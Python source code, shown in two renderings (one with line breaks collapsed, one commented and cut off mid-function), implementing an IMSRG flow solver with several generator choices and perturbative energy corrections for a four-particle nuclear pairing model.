particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: eta1B[a, i] = f[a, i] eta1B[i, a] = -f[a, i] eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: val = Gamma[idx2B[a, b], idx2B[i, j]] eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_imtime(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = np.sign(dE) * f[a, i] eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]] eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = f[a, i] / denom eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = Gamma[idx2B[a, b], idx2B[i, j]] / denom eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white_mp(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] val = f[a, i] / denom eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] val = Gamma[idx2B[a, b], idx2B[i, j]] / denom eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white_atan(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = 0.5 * np.arctan(2 * f[a, i] / denom) eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j ]] / denom) eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_wegner(f, Gamma, user_data): dim1B = user_data['dim1B'] holes = user_data['holes'] particles = user_data['particles'] bas2B = user_data['bas2B'] basph2B = user_data['basph2B'] idx2B = user_data['idx2B'] idxph2B = user_data['idxph2B'] occB_2B = user_data['occB_2B'] occC_2B = user_data['occC_2B'] occphA_2B = user_data['occphA_2B'] fd = np.zeros_like(f) fod = np.zeros_like(f) Gammad = np.zeros_like(Gamma) Gammaod = np.zeros_like(Gamma) for a in particles: for i in holes: fod[a, i] = f[a, i] fod[i, a] = f[i, a] fd = f - fod for a in particles: for b in particles: for i in holes: for j in holes: Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b], idx2B[i, j]] Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j], idx2B[a, b]] Gammad = Gamma - Gammaod eta1B = np.zeros_like(f) eta1B += commutator(fd, fod) for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q] ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[ i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i ] * Gammad[idx2B[i, p], idx2B[a, q]] GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for i in holes: eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] - transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]]) GammaGamma = dot(Gammad, dot(occC_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] + transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]]) eta2B = np.zeros_like(Gamma) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[ idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[ idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[ idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[ idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[ idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[ idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[ idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[ idx2B[p, q], idx2B[r, t]] GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) eta2B += 0.5 * (GammaGamma - transpose(GammaGamma)) Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B) Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B) GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph)) GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B, basph2B, idxph2B) work = np.zeros_like(GammaGamma) for i1, (i, j) in enumerate(bas2B): for i2, (k, l) in enumerate(bas2B): work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2 ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i], idx2B[l, k]] GammaGamma = work eta2B += GammaGamma return eta1B, eta2B def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data): dim1B = user_data['dim1B'] holes = user_data['holes'] particles = user_data['particles'] bas2B = user_data['bas2B'] idx2B = user_data['idx2B'] basph2B = user_data['basph2B'] idxph2B = user_data['idxph2B'] occB_2B = user_data['occB_2B'] occC_2B = user_data['occC_2B'] occphA_2B = user_data['occphA_2B'] dE = 0.0 for i in holes: for a in particles: dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a] for i in holes: for j in holes: for a in particles: for b in particles: dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[ idx2B[a, b], idx2B[i, j]] df = np.zeros_like(f) df += commutator(eta1B, f) for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q] ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[ i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i ] * eta2B[idx2B[i, p], idx2B[a, q]] etaGamma = dot(eta2B, dot(occB_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for i in holes: df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] + transpose(etaGamma)[idx2B[i, p], idx2B[i, q]]) etaGamma = dot(eta2B, dot(occC_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] + transpose(etaGamma)[idx2B[r, p], idx2B[r, q]]) dGamma = np.zeros_like(Gamma) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s ] * eta2B[idx2B[p, q], idx2B[r, t]] etaGamma = dot(eta2B, dot(occB_2B, Gamma)) dGamma += 0.5 * (etaGamma + transpose(etaGamma)) eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B) Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B) etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph)) etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B, idxph2B) work = np.zeros_like(etaGamma) for i1, (i, j) in enumerate(bas2B): for i2, (k, l) in enumerate(bas2B): work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2 ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B [l, k]] etaGamma = work dGamma += etaGamma return dE, df, dGamma def get_operator_from_y(y, dim1B, dim2B): ptr = 0 zero_body = y[ptr] ptr += 1 one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B)) ptr += dim1B * dim1B two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B)) return zero_body, one_body, two_body def derivative_wrapper(t, y, user_data): dim1B = user_data['dim1B'] dim2B = dim1B * dim1B holes = user_data['holes'] particles = user_data['particles'] bas1B = user_data['bas1B'] bas2B = user_data['bas2B'] basph2B = user_data['basph2B'] idx2B = user_data['idx2B'] idxph2B = user_data['idxph2B'] occA_2B = user_data['occA_2B'] occB_2B = user_data['occB_2B'] occC_2B = user_data['occC_2B'] occphA_2B = user_data['occphA_2B'] calc_eta = user_data['calc_eta'] calc_rhs = user_data['calc_rhs'] E, f, Gamma = get_operator_from_y(y, dim1B, dim2B) eta1B, eta2B = calc_eta(f, Gamma, user_data) dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data) dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1))) user_data['dE'] = dE user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm( eta2B, ord='fro') return dy def pairing_hamiltonian(delta, g, user_data): bas1B = user_data['bas1B'] bas2B = user_data['bas2B'] idx2B = user_data['idx2B'] dim = len(bas1B) H1B = np.zeros((dim, dim)) for i in bas1B: H1B[i, i] = delta * np.floor_divide(i, 2) dim = len(bas2B) H2B = np.zeros((dim, dim)) for i, j in bas2B: if i % 2 == 0 and j == i + 1: for k, l in bas2B: if k % 2 == 0 and l == k + 1: H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g return H1B, H2B def normal_order(H1B, H2B, user_data): bas1B = user_data['bas1B'] bas2B = user_data['bas2B'] idx2B = user_data['idx2B'] particles = user_data['particles'] holes = user_data['holes'] E = 0.0 for i in holes: E += H1B[i, i] for i in holes: for j in holes: E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]] f = H1B for i in bas1B: for j in bas1B: for h in holes: f[i, j] += H2B[idx2B[i, h], idx2B[j, h]] Gamma = H2B return E, f, Gamma def calc_mbpt2(f, Gamma, user_data): DE2 = 0.0 particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] for i in holes: for j in holes: for a in particles: for b in particles: denom = f[i, i] + f[j, j] - f[a, a] - f[b, b] me = Gamma[idx2B[a, b], idx2B[i, j]] DE2 += 0.25 * me * me / denom return DE2 def calc_mbpt3(f, Gamma, user_data): particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] DE3pp = 0.0 DE3hh = 0.0 DE3ph = 0.0 for a in particles: for b in particles: for c in particles: for d in particles: for i in holes: for j in holes: denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * ( f[i, i] + f[j, j] - f[c, c] - f[d, d]) me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[ idx2B[a, b], idx2B[c, d]] * Gamma[idx2B[c, d], idx2B[i, j]] DE3pp += 0.125 * me / denom for i in holes: for j in holes: for k in holes: for l in holes: for a in particles: for b in particles: denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * ( f[k, k] + f[l, l] - f[a, a] - f[b, b]) me = Gamma[idx2B[a, b], idx2B[k, l]] * Gamma[ idx2B[k, l], idx2B[i, j]] * Gamma[idx2B[i, j], idx2B[a, b]] DE3hh += 0.125 * me / denom for i in holes: for j in holes: for k in holes: for a in particles: for b in particles: for c in particles: denom = (f[i, i] + f[j, j] - f[a, a] - f[b, b]) * ( f[k, k] + f[j, j] - f[a, a] - f[c, c]) me = Gamma[idx2B[i, j], idx2B[a, b]] * Gamma[ idx2B[k, b], idx2B[i, c]] * Gamma[idx2B[a, c], idx2B[k, j]] DE3ph -= me / denom return DE3pp + DE3hh + DE3ph def main(): delta = float(argv[1]) g = float(argv[2]) particles = 4 dim1B = 8 holes = [0, 1, 2, 3] particles = [4, 5, 6, 7] bas1B = range(dim1B) bas2B = construct_basis_2B(holes, particles) basph2B = construct_basis_ph2B(holes, particles) idx2B = construct_index_2B(bas2B) idxph2B = construct_index_2B(basph2B) occ1B = construct_occupation_1B(bas1B, holes, particles) occA_2B = construct_occupationA_2B(bas2B, occ1B) occB_2B = construct_occupationB_2B(bas2B, occ1B) occC_2B = construct_occupationC_2B(bas2B, occ1B) occphA_2B = construct_occupationA_2B(basph2B, occ1B) user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles, 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B, 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B': occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2} H1B, H2B = pairing_hamiltonian(delta, g, user_data) E, f, Gamma = normal_order(H1B, H2B, user_data) y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1))) solver = ode(derivative_wrapper, jac=None) solver.set_integrator('vode', method='bdf', order=5, nsteps=1000) solver.set_f_params(user_data) solver.set_initial_value(y0, 0.0) sfinal = 50 ds = 0.1 print( '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s' % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||', '||fod||', '||Gammaod||')) print('-' * 148) while solver.successful() and solver.t < sfinal: ys = solver.integrate(sfinal, step=True) dim2B = dim1B * dim1B E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B) DE2 = calc_mbpt2(f, Gamma, user_data) DE3 = calc_mbpt3(f, Gamma, user_data) norm_fod = calc_fod_norm(f, user_data) norm_Gammaod = calc_Gammaod_norm(Gamma, user_data) print( '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f' % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'], user_data['eta_norm'], norm_fod, norm_Gammaod)) if abs(DE2 / E) < 1e-07: break return if __name__ == '__main__': main()
#!/usr/bin/env python #------------------------------------------------------------------------------ # imsrg_pairing.py # # author: H. Hergert # version: 1.5.0 # date: Dec 6, 2016 # # tested with Python v2.7 # # Solves the pairing model for four particles in a basis of four doubly # degenerate states by means of an In-Medium Similarity Renormalization # Group (IMSRG) flow. # #------------------------------------------------------------------------------ import numpy as np from numpy import array, dot, diag, reshape, transpose from scipy.linalg import eigvalsh from scipy.integrate import odeint, ode from sys import argv #----------------------------------------------------------------------------------- # basis and index functions #----------------------------------------------------------------------------------- def construct_basis_2B(holes, particles): basis = [] for i in holes: for j in holes: basis.append((i, j)) for i in holes: for a in particles: basis.append((i, a)) for a in particles: for i in holes: basis.append((a, i)) for a in particles: for b in particles: basis.append((a, b)) return basis def construct_basis_ph2B(holes, particles): basis = [] for i in holes: for j in holes: basis.append((i, j)) for i in holes: for a in particles: basis.append((i, a)) for a in particles: for i in holes: basis.append((a, i)) for a in particles: for b in particles: basis.append((a, b)) return basis # # We use dictionaries for the reverse lookup of state indices # def construct_index_2B(bas2B): index = { } for i, state in enumerate(bas2B): index[state] = i return index #----------------------------------------------------------------------------------- # transform matrices to particle-hole representation #----------------------------------------------------------------------------------- def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B): dim = len(basph2B) Gamma_ph = np.zeros((dim, dim)) for i1, (a,b) in enumerate(basph2B): for i2, (c, d) in enumerate(basph2B): Gamma_ph[i1, i2] -= Gamma[idx2B[(a,d)], idx2B[(c,b)]] return Gamma_ph def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B): dim = len(bas2B) Gamma = np.zeros((dim, dim)) for i1, (a,b) in enumerate(bas2B): for i2, (c, d) in enumerate(bas2B): Gamma[i1, i2] -= Gamma_ph[idxph2B[(a,d)], idxph2B[(c,b)]] return Gamma #----------------------------------------------------------------------------------- # commutator of matrices #----------------------------------------------------------------------------------- def commutator(a,b): return dot(a,b) - dot(b,a) #----------------------------------------------------------------------------------- # norms of off-diagonal Hamiltonian pieces #----------------------------------------------------------------------------------- def calc_fod_norm(f, user_data): particles = user_data["particles"] holes = user_data["holes"] norm = 0.0 for a in particles: for i in holes: norm += f[a,i]**2 + f[i,a]**2 return np.sqrt(norm) def calc_Gammaod_norm(Gamma, user_data): particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] norm = 0.0 for a in particles: for b in particles: for i in holes: for j in holes: norm += Gamma[idx2B[(a,b)],idx2B[(i,j)]]**2 + Gamma[idx2B[(i,j)],idx2B[(a,b)]]**2 return np.sqrt(norm) #----------------------------------------------------------------------------------- # occupation number matrices #----------------------------------------------------------------------------------- def construct_occupation_1B(bas1B, holes, particles): dim = len(bas1B) occ = np.zeros(dim) for i in holes: occ[i] = 1. return occ # diagonal matrix: n_a - n_b def construct_occupationA_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim,dim)) for i1, (i,j) in enumerate(bas2B): occ[i1, i1] = occ1B[i] - occ1B[j] return occ # diagonal matrix: 1 - n_a - n_b def construct_occupationB_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim,dim)) for i1, (i,j) in enumerate(bas2B): occ[i1, i1] = 1. - occ1B[i] - occ1B[j] return occ # diagonal matrix: n_a * n_b def construct_occupationC_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim,dim)) for i1, (i,j) in enumerate(bas2B): occ[i1, i1] = occ1B[i] * occ1B[j] return occ #----------------------------------------------------------------------------------- # generators #----------------------------------------------------------------------------------- def eta_brillouin(f, Gamma, user_data): dim1B = user_data["dim1B"] particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # one-body part of the generator eta1B = np.zeros_like(f) for a in particles: for i in holes: # (1-n_a)n_i - n_a(1-n_i) = n_i - n_a eta1B[a, i] = f[a,i] eta1B[i, a] = -f[a,i] # two-body part of the generator eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val return eta1B, eta2B def eta_imtime(f, Gamma, user_data): dim1B = user_data["dim1B"] particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # one-body part of the generator eta1B = np.zeros_like(f) for a in particles: for i in holes: dE = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]] val = np.sign(dE)*f[a,i] eta1B[a, i] = val eta1B[i, a] = -val # two-body part of the generator eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: dE = ( f[a,a] + f[b,b] - f[i,i] - f[j,j] + Gamma[idx2B[(a,b)],idx2B[(a,b)]] + Gamma[idx2B[(i,j)],idx2B[(i,j)]] - Gamma[idx2B[(a,i)],idx2B[(a,i)]] - Gamma[idx2B[(a,j)],idx2B[(a,j)]] - Gamma[idx2B[(b,i)],idx2B[(b,i)]] - Gamma[idx2B[(b,j)],idx2B[(b,j)]] ) val = np.sign(dE)*Gamma[idx2B[(a,b)], idx2B[(i,j)]] eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val return eta1B, eta2B def eta_white(f, Gamma, user_data): dim1B = user_data["dim1B"] particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # one-body part of the generator eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]] val = f[a,i]/denom eta1B[a, i] = val eta1B[i, a] = -val # two-body part of the generator eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = ( f[a,a] + f[b,b] - f[i,i] - f[j,j] + Gamma[idx2B[(a,b)],idx2B[(a,b)]] + Gamma[idx2B[(i,j)],idx2B[(i,j)]] - Gamma[idx2B[(a,i)],idx2B[(a,i)]] - Gamma[idx2B[(a,j)],idx2B[(a,j)]] - Gamma[idx2B[(b,i)],idx2B[(b,i)]] - Gamma[idx2B[(b,j)],idx2B[(b,j)]] ) val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val return eta1B, eta2B def eta_white_mp(f, Gamma, user_data): dim1B = user_data["dim1B"] particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # one-body part of the generator eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a,a] - f[i,i] val = f[a,i]/denom eta1B[a, i] = val eta1B[i, a] = -val # two-body part of the generator eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = ( f[a,a] + f[b,b] - f[i,i] - f[j,j] ) val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val return eta1B, eta2B def eta_white_atan(f, Gamma, user_data): dim1B = user_data["dim1B"] particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # one-body part of the generator eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]] val = 0.5 * np.arctan(2 * f[a,i]/denom) eta1B[a, i] = val eta1B[i, a] = -val # two-body part of the generator eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = ( f[a,a] + f[b,b] - f[i,i] - f[j,j] + Gamma[idx2B[(a,b)],idx2B[(a,b)]] + Gamma[idx2B[(i,j)],idx2B[(i,j)]] - Gamma[idx2B[(a,i)],idx2B[(a,i)]] - Gamma[idx2B[(a,j)],idx2B[(a,j)]] - Gamma[idx2B[(b,i)],idx2B[(b,i)]] - Gamma[idx2B[(b,j)],idx2B[(b,j)]] ) val = 0.5 * np.arctan(2 * Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom) eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val return eta1B, eta2B def eta_wegner(f, Gamma, user_data): dim1B = user_data["dim1B"] holes = user_data["holes"] particles = user_data["particles"] bas2B = user_data["bas2B"] basph2B = user_data["basph2B"] idx2B = user_data["idx2B"] idxph2B = user_data["idxph2B"] occB_2B = user_data["occB_2B"] occC_2B = user_data["occC_2B"] occphA_2B = user_data["occphA_2B"] # split Hamiltonian in diagonal and off-diagonal parts fd = np.zeros_like(f) fod = np.zeros_like(f) Gammad = np.zeros_like(Gamma) Gammaod = np.zeros_like(Gamma) for a in particles: for i in holes: fod[a, i] = f[a,i] fod[i, a] = f[i,a] fd = f - fod for a in particles: for b in particles: for i in holes: for j in holes: Gammaod[idx2B[(a,b)], idx2B[(i,j)]] = Gamma[idx2B[(a,b)], idx2B[(i,j)]] Gammaod[idx2B[(i,j)], idx2B[(a,b)]] = Gamma[idx2B[(i,j)], idx2B[(a,b)]] Gammad = Gamma - Gammaod ############################# # one-body part of the generator eta1B = np.zeros_like(f) # 1B - 1B eta1B += commutator(fd, fod) # 1B - 2B for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: eta1B[p,q] += ( fd[i,a] * Gammaod[idx2B[(a, p)], idx2B[(i, q)]] - fd[a,i] * Gammaod[idx2B[(i, p)], idx2B[(a, q)]] - fod[i,a] * Gammad[idx2B[(a, p)], idx2B[(i, q)]] + fod[a,i] * Gammad[idx2B[(i, p)], idx2B[(a, q)]] ) # 2B - 2B # n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for i in holes: eta1B[p,q] += 0.5*( GammaGamma[idx2B[(i,p)], idx2B[(i,q)]] - transpose(GammaGamma)[idx2B[(i,p)], idx2B[(i,q)]] ) GammaGamma = dot(Gammad, dot(occC_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): eta1B[p,q] += 0.5*( GammaGamma[idx2B[(r,p)], idx2B[(r,q)]] + transpose(GammaGamma)[idx2B[(r,p)], idx2B[(r,q)]] ) ############################# # two-body flow equation eta2B = np.zeros_like(Gamma) # 1B - 2B for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): eta2B[idx2B[(p,q)],idx2B[(r,s)]] += ( fd[p,t] * Gammaod[idx2B[(t,q)],idx2B[(r,s)]] + fd[q,t] * Gammaod[idx2B[(p,t)],idx2B[(r,s)]] - fd[t,r] * Gammaod[idx2B[(p,q)],idx2B[(t,s)]] - fd[t,s] * Gammaod[idx2B[(p,q)],idx2B[(r,t)]] - fod[p,t] * Gammad[idx2B[(t,q)],idx2B[(r,s)]] - fod[q,t] * Gammad[idx2B[(p,t)],idx2B[(r,s)]] + fod[t,r] * Gammad[idx2B[(p,q)],idx2B[(t,s)]] + fod[t,s] * Gammad[idx2B[(p,q)],idx2B[(r,t)]] ) # 2B - 2B - particle and hole ladders # Gammad.occB.Gammaod GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) eta2B += 0.5 * (GammaGamma - transpose(GammaGamma)) # 2B - 2B - particle-hole chain # transform matrices to particle-hole representation and calculate # Gammad_ph.occA_ph.Gammaod_ph Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B) Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B) GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph)) # transform back to standard representation GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B, basph2B, idxph2B) # commutator / antisymmetrization work = np.zeros_like(GammaGamma) for i1, (i,j) in enumerate(bas2B): for i2, (k,l) in enumerate(bas2B): work[i1, i2] -= ( GammaGamma[i1, i2] - GammaGamma[idx2B[(j,i)], i2] - GammaGamma[i1, idx2B[(l,k)]] + GammaGamma[idx2B[(j,i)], idx2B[(l,k)]] ) GammaGamma = work eta2B += GammaGamma return eta1B, eta2B #----------------------------------------------------------------------------------- # derivatives #----------------------------------------------------------------------------------- def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data): dim1B = user_data["dim1B"] holes = user_data["holes"] particles = user_data["particles"] bas2B = user_data["bas2B"] idx2B = user_data["idx2B"] basph2B = user_data["basph2B"] idxph2B = user_data["idxph2B"] occB_2B = user_data["occB_2B"] occC_2B = user_data["occC_2B"] occphA_2B = user_data["occphA_2B"] ############################# # zero-body flow equation dE = 0.0 for i in holes: for a in particles: dE += eta1B[i,a] * f[a,i] - eta1B[a,i] * f[i,a] for i in holes: for j in holes: for a in particles: for b in particles: dE += 0.5 * eta2B[idx2B[(i,j)], idx2B[(a,b)]] * Gamma[idx2B[(a,b)], idx2B[(i,j)]] ############################# # one-body flow equation df = np.zeros_like(f) 